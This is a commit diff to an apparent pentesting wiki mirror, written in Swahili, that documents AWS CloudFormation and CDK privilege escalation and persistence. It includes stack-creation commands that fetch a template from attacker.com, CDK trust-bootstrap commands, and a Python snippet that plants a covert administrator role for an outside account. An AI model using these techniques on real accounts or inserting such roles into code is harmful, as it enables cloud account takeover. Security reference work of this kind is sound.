mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 19:32:24 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud
This commit is contained in:
@@ -211,6 +211,7 @@
|
||||
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
|
||||
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
|
||||
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
|
||||
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
|
||||
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
|
||||
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
|
||||
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Kwa maelezo zaidi, tembelea:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
AWS CDK inapeleka CFN stack inayoitwa `CDKToolkit`. Stack hii inasaidia parameter `TrustedAccounts` ambayo inaruhusu akaunti za nje kupeleka miradi ya CDK kwenye akaunti ya mwathirika. Mshambuliaji anaweza kutumia hii kuwapa wenyewe ufikiaji usio na kikomo kwenye akaunti ya mwathirika, ama kwa kutumia AWS cli kupeleka tena stack hiyo kwa parameters, au AWS CDK cli.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -12,7 +12,7 @@ Kwa maelezo zaidi kuhusu cloudformation angalia:
|
||||
|
||||
### `iam:PassRole`, `cloudformation:CreateStack`
|
||||
|
||||
Mshambuliaji mwenye ruhusa hizi **anaweza kuongeza mamlaka** kwa kutunga **CloudFormation stack** yenye kiolezo maalum, kilichohifadhiwa kwenye seva yao, ili **kutekeleza vitendo chini ya ruhusa za jukumu lililobainishwa:**
|
||||
Mshambuliaji mwenye ruhusa hizi **anaweza kuongeza mamlaka** kwa kutunga **CloudFormation stack** na kiolezo maalum, kilichohifadhiwa kwenye seva yao, ili **kutekeleza vitendo chini ya ruhusa za jukumu lililobainishwa:**
|
||||
```bash
|
||||
aws cloudformation create-stack --stack-name <stack-name> \
|
||||
--template-url http://attacker.com/attackers.template \
|
||||
@@ -28,7 +28,7 @@ iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
|
||||
|
||||
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
|
||||
|
||||
Katika kesi hii unaweza **kutitumia stack ya cloudformation iliyopo** kuisasaisha na kupandisha ruhusa kama ilivyo katika hali ya awali:
|
||||
Katika kesi hii unaweza **kudhulumu stack ya cloudformation iliyopo** ili kuisasaisha na kupandisha ruhusa kama ilivyo katika hali ya awali:
|
||||
```bash
|
||||
aws cloudformation update-stack \
|
||||
--stack-name privesc \
|
||||
@@ -37,23 +37,23 @@ aws cloudformation update-stack \
|
||||
--capabilities CAPABILITY_IAM \
|
||||
--region eu-west-1
|
||||
```
|
||||
Ruhusa `cloudformation:SetStackPolicy` inaweza kutumika **kujiwezesha ruhusa ya `UpdateStack`** juu ya stack na kufanya shambulio.
|
||||
Ruhusa la `cloudformation:SetStackPolicy` linaweza kutumika **kujipewe ruhusa ya `UpdateStack`** juu ya stack na kutekeleza shambulio.
|
||||
|
||||
**Athari Zinazoweza Kutokea:** Privesc kwa jukumu la huduma la cloudformation lililotajwa.
|
||||
|
||||
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
|
||||
|
||||
Ikiwa una ruhusa hii lakini **hakuna `iam:PassRole`** bado unaweza **kusasisha stacks** zinazotumika na kutumia vibaya **IAM Roles ambazo tayari zimeunganishwa**. Angalia sehemu ya awali kwa mfano wa matumizi (usionyeshe jukumu lolote katika sasisho).
|
||||
Ikiwa una ruhusa hii lakini **hakuna `iam:PassRole`** bado unaweza **kusasisha stacks** zinazotumika na kutumia **IAM Roles ambazo tayari zimeunganishwa**. Angalia sehemu ya awali kwa mfano wa exploit (usionyeshe jukumu lolote katika sasisho).
|
||||
|
||||
Ruhusa `cloudformation:SetStackPolicy` inaweza kutumika **kujiwezesha ruhusa ya `UpdateStack`** juu ya stack na kufanya shambulio.
|
||||
Ruhusa la `cloudformation:SetStackPolicy` linaweza kutumika **kujipewe ruhusa ya `UpdateStack`** juu ya stack na kutekeleza shambulio.
|
||||
|
||||
**Athari Zinazoweza Kutokea:** Privesc kwa jukumu la huduma la cloudformation lililotajwa tayari.
|
||||
|
||||
### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
|
||||
|
||||
Mshambuliaji mwenye ruhusa za **kupitisha jukumu na kuunda & kutekeleza ChangeSet** anaweza **kuunda/sasisha stack mpya ya cloudformation kutumia vibaya jukumu la huduma la cloudformation** kama ilivyo kwa CreateStack au UpdateStack.
|
||||
Mshambuliaji mwenye ruhusa za **kupitisha jukumu na kuunda & kutekeleza ChangeSet** anaweza **kuunda/kusasisha stack mpya ya cloudformation na kutumia jukumu za huduma za cloudformation** kama ilivyo kwa CreateStack au UpdateStack.
|
||||
|
||||
Mfano ufuatao ni **tofauti ya**[ **CreateStack moja**](./#iam-passrole-cloudformation-createstack) ikitumia **ruhusa za ChangeSet** kuunda stack.
|
||||
Exploit ifuatayo ni **toleo la**[ **CreateStack moja**](#iam-passrole-cloudformation-createstack) ikitumia **ruhusa za ChangeSet** kuunda stack.
|
||||
```bash
|
||||
aws cloudformation create-change-set \
|
||||
--stack-name privesc \
|
||||
@@ -79,13 +79,13 @@ aws cloudformation describe-stacks \
|
||||
--stack-name privesc \
|
||||
--region eu-west-1
|
||||
```
|
||||
Ruhusa `cloudformation:SetStackPolicy` inaweza kutumika **kujipewe ruhusa za `ChangeSet`** juu ya stack na kutekeleza shambulio.
|
||||
Ruhusa `cloudformation:SetStackPolicy` inaweza kutumika **kujiwezesha ruhusa za `ChangeSet`** juu ya stack na kufanya shambulio.
|
||||
|
||||
**Athari Zinazoweza Kutokea:** Privesc kwa majukumu ya huduma ya cloudformation.
|
||||
|
||||
### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
|
||||
|
||||
Hii ni kama njia ya awali bila kupitisha **majukumu ya IAM**, hivyo unaweza tu **kutumia yale yaliyounganishwa tayari**, badilisha tu parameter:
|
||||
Hii ni kama njia ya awali bila kupitisha **majukumu ya IAM**, hivyo unaweza tu **kutumia yale yaliyoambatanishwa tayari**, badilisha tu parameter:
|
||||
```
|
||||
--change-set-type UPDATE
|
||||
```
|
||||
@@ -99,12 +99,57 @@ Mshambuliaji anaweza kutumia ruhusa hizi kuunda/update StackSets ili kutumia maj
|
||||
|
||||
### `cloudformation:UpdateStackSet`
|
||||
|
||||
Mshambuliaji anaweza kutumia ruhusa hii bila ruhusa ya passRole kuupdate StackSets ili kutumia majukumu ya cloudformation yaliyounganishwa.
|
||||
Mshambuliaji anaweza kutumia ruhusa hii bila ruhusa ya passRole ili kuboresha StackSets kutumia majukumu ya cloudformation yaliyounganishwa.
|
||||
|
||||
**Madhara Yanayoweza Kutokea:** Privesc kwa majukumu ya cloudformation yaliyounganishwa.
|
||||
|
||||
## Marejeleo
|
||||
## AWS CDK
|
||||
|
||||
AWS cdk ni zana inayowezesha watumiaji kufafanua miundombinu yao kama msimbo katika lugha wanazozijua tayari, pamoja na kurahisisha matumizi ya sehemu. CDK kisha inabadilisha msimbo wa kiwango cha juu (yaani python) kuwa templeti za Cloudformation (yaml au json).
|
||||
|
||||
Ili kutumia CDK, mtumiaji wa kiutawala lazima kwanza aweke msingi wa akaunti, ambayo inaunda majukumu kadhaa ya IAM, ikiwa ni pamoja na *exec role*, ambayo ina ruhusa \*/\*. Majukumu haya yanafuata muundo wa majina `cdk-<qualifier>-<name>-<account-id>-<region>`. Kuweka msingi lazima kufanyike mara moja kwa kila eneo kwa kila akaunti.
|
||||
|
||||
Kwa kawaida, watumiaji wa CDK hawana ufaccess wa kuorodhesha majukumu yanayohitajika kutumia CDK, ikimaanisha kuwa utahitaji kuyatambua kwa mikono. Ikiwa utavunja mashine ya mende au node ya CI/CD, majukumu haya yanaweza kudhaniwa kukupa uwezo wa kupeleka templeti za CFN, ukitumia `cfn-exec` role kuruhusu CFN kupeleka rasilimali yoyote, na hivyo kuathiri akaunti kwa ukamilifu.
|
||||
|
||||
### Kutambua majina ya majukumu
|
||||
|
||||
Ikiwa una `cloudformation:DescribeStacks`, majukumu yamefafanuliwa katika stack inayoitwa `CDKToolkit`, na unaweza kuvuta majina kutoka hapo.
|
||||
|
||||
Ikiwa uko kwenye mashine ambayo imetumika kujenga na kupeleka miradi ya CDK, unaweza kuvuta kutoka `cdk.out/manafest.json` katika saraka ya mizizi ya miradi.
|
||||
|
||||
Pia unaweza kufanya makadirio mazuri kuhusu ni yapi. `qualifier` ni mfuatano unaoongezwa kwa majukumu kuruhusu matukio mengi ya CDK bootstrap kupelekwa kwa wakati mmoja, hata hivyo thamani ya kawaida imeandikwa kwa `hnb659fds`.
|
||||
```
|
||||
# Defaults
|
||||
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
|
||||
cdk-hnb659fds-deploy-role-<account-id>-<region>
|
||||
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
|
||||
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
|
||||
cdk-hnb659fds-lookup-role-<account-id>-<region>
|
||||
```
|
||||
### Kuongeza msimbo mbaya kwenye chanzo cha mradi
|
||||
|
||||
Ikiwa unaweza kuandika kwenye chanzo cha mradi, lakini huwezi kupeleka mwenyewe (kwa mfano, mendelezi yanapeleka msimbo kupitia CI/CD, si mashine ya ndani), bado unaweza kuathiri mazingira kwa kuongeza rasilimali mbaya kwenye stack. Ifuatayo inaongeza jukumu la IAM ambalo linaweza kuchukuliwa na akaunti ya mshambuliaji kwenye mradi wa python CDK.
|
||||
```python
|
||||
class CdkTestStack(Stack):
|
||||
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
|
||||
super().__init__(scope, construct_id, **kwargs)
|
||||
|
||||
# ----------
|
||||
# Some existing code.....
|
||||
# ----------
|
||||
|
||||
role = iam.Role(
|
||||
self,
|
||||
"cdk-backup-role", # Role name, make it something subtle
|
||||
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
|
||||
managed_policies=[
|
||||
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
|
||||
],
|
||||
)
|
||||
```
|
||||
## Marejeo
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -37,13 +37,19 @@ Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kudhulumu ruhusa za cloudfor
|
||||
../aws-privilege-escalation/aws-cloudformation-privesc/
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
{{#ref}}
|
||||
../aws-persistence/aws-cloudformation-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
Angalia kwa **siri** au taarifa nyeti katika **kigezo, vigezo & matokeo** ya kila CloudFormation
|
||||
|
||||
## Codestar
|
||||
|
||||
AWS CodeStar ni huduma ya kuunda, kusimamia, na kufanya kazi na miradi ya maendeleo ya programu kwenye AWS. Unaweza kuendeleza, kujenga, na kupeleka programu kwa haraka kwenye AWS na mradi wa AWS CodeStar. Mradi wa AWS CodeStar unaunda na **kuunganisha huduma za AWS** kwa ajili ya zana zako za maendeleo ya mradi. Kulingana na chaguo lako la kigezo cha mradi wa AWS CodeStar, zana hiyo inaweza kujumuisha udhibiti wa chanzo, ujenzi, upelelezi, seva za virtual au rasilimali zisizo na seva, na zaidi. AWS CodeStar pia **inasimamia ruhusa zinazohitajika kwa watumiaji wa mradi** (inayoitwa wanachama wa timu).
|
||||
AWS CodeStar ni huduma ya kuunda, kusimamia, na kufanya kazi na miradi ya maendeleo ya programu kwenye AWS. Unaweza kuendeleza, kujenga, na kupeleka programu haraka kwenye AWS kwa mradi wa AWS CodeStar. Mradi wa AWS CodeStar unaunda na **kuunganisha huduma za AWS** kwa ajili ya mchakato wa maendeleo ya mradi wako. Kulingana na chaguo lako la kigezo cha mradi wa AWS CodeStar, mchakato huo unaweza kujumuisha udhibiti wa chanzo, ujenzi, upelekaji, seva za virtual au rasilimali zisizo na seva, na zaidi. AWS CodeStar pia **inasimamia ruhusa zinazohitajika kwa watumiaji wa mradi** (inayoitwa wanachama wa timu).
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -64,7 +70,7 @@ Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kudhulumu ruhusa za codestar
|
||||
../aws-privilege-escalation/aws-codestar-privesc/
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Marejeo
|
||||
|
||||
- [https://docs.aws.amazon.com/cloudformation/](https://docs.aws.amazon.com/cloudformation/)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user